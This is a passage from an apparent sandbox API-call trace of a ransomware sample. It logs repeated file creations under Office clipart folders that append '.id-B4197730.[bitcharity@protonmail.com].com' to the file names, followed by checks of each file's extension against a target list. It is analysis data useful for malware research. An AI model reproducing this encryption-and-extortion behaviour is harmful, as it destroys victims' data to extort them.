lpNewFilePointer=0x0) returned 1 [0246.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.886] CloseHandle (hObject=0x11e8) returned 1 [0246.886] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.887] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.887] CloseHandle (hObject=0x11e8) returned 1 [0246.888] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.888] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.888] CloseHandle (hObject=0x11e8) returned 1 [0246.889] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.889] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.889] CloseHandle (hObject=0x11e8) returned 1 [0246.893] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.893] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.894] CloseHandle (hObject=0x11e8) returned 1 [0246.895] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.895] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.896] CloseHandle (hObject=0x11e8) returned 1 [0246.897] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.897] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.897] CloseHandle (hObject=0x11e8) returned 1 [0246.898] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.899] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.899] CloseHandle (hObject=0x11e8) returned 1 [0246.900] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.900] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.900] CloseHandle (hObject=0x11e8) returned 1 [0246.901] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.901] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.902] CloseHandle (hObject=0x11e8) returned 1 [0246.902] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.902] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.903] CloseHandle (hObject=0x11e8) returned 1 [0246.903] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.903] SetFilePointerEx (in: hFile=0x11e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.904] CloseHandle (hObject=0x11e8) returned 1 [0248.535] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.535] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.184] CloseHandle (hObject=0x1258) returned 1 [0249.190] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.190] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.190] CloseHandle (hObject=0x1258) returned 1 [0249.192] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.192] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.192] CloseHandle (hObject=0x1258) returned 1 [0249.194] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.194] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.194] CloseHandle (hObject=0x1258) returned 1 [0249.196] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.196] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.197] CloseHandle (hObject=0x1258) returned 1 [0249.198] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.198] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.198] CloseHandle (hObject=0x1258) returned 1 [0249.200] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.200] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.200] CloseHandle (hObject=0x1258) returned 1 [0249.202] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.202] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.202] CloseHandle (hObject=0x1258) returned 1 [0249.204] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.204] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.204] CloseHandle (hObject=0x1258) returned 1 [0249.207] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.207] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.207] CloseHandle (hObject=0x1258) returned 1 [0249.210] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.210] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.211] CloseHandle (hObject=0x1258) returned 1 [0249.212] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.212] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.212] CloseHandle (hObject=0x1258) returned 1 [0249.213] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.213] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.213] CloseHandle (hObject=0x1258) returned 1 [0249.214] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.214] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.215] CloseHandle (hObject=0x1258) returned 1 [0249.216] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.217] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.219] CloseHandle (hObject=0x1258) returned 1 [0249.220] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.220] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.221] CloseHandle (hObject=0x1258) returned 1 [0249.920] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.920] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.488] CloseHandle (hObject=0x1268) returned 1 [0250.943] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.943] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.943] CloseHandle (hObject=0x1280) returned 1 [0252.397] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.397] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.596] CloseHandle (hObject=0x118c) returned 1 [0252.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0252.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0252.605] lstrlenW (lpString=".doc") returned 4 [0252.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.605] lstrlenW (lpString=".docx") returned 5 [0252.605] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0252.605] lstrlenW (lpString=".pdf") returned 4 [0252.605] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.605] lstrlenW (lpString=".xls") returned 4 [0252.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.605] lstrlenW (lpString=".xlsx") returned 5 [0252.605] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0252.605] lstrlenW (lpString=".ppt") returned 4 [0252.606] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0252.606] lstrlenW (lpString=".zip") returned 4 [0252.606] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.606] lstrlenW (lpString=".rar") returned 4 [0252.606] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.606] lstrlenW (lpString=".bz2") returned 4 [0252.606] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.607] 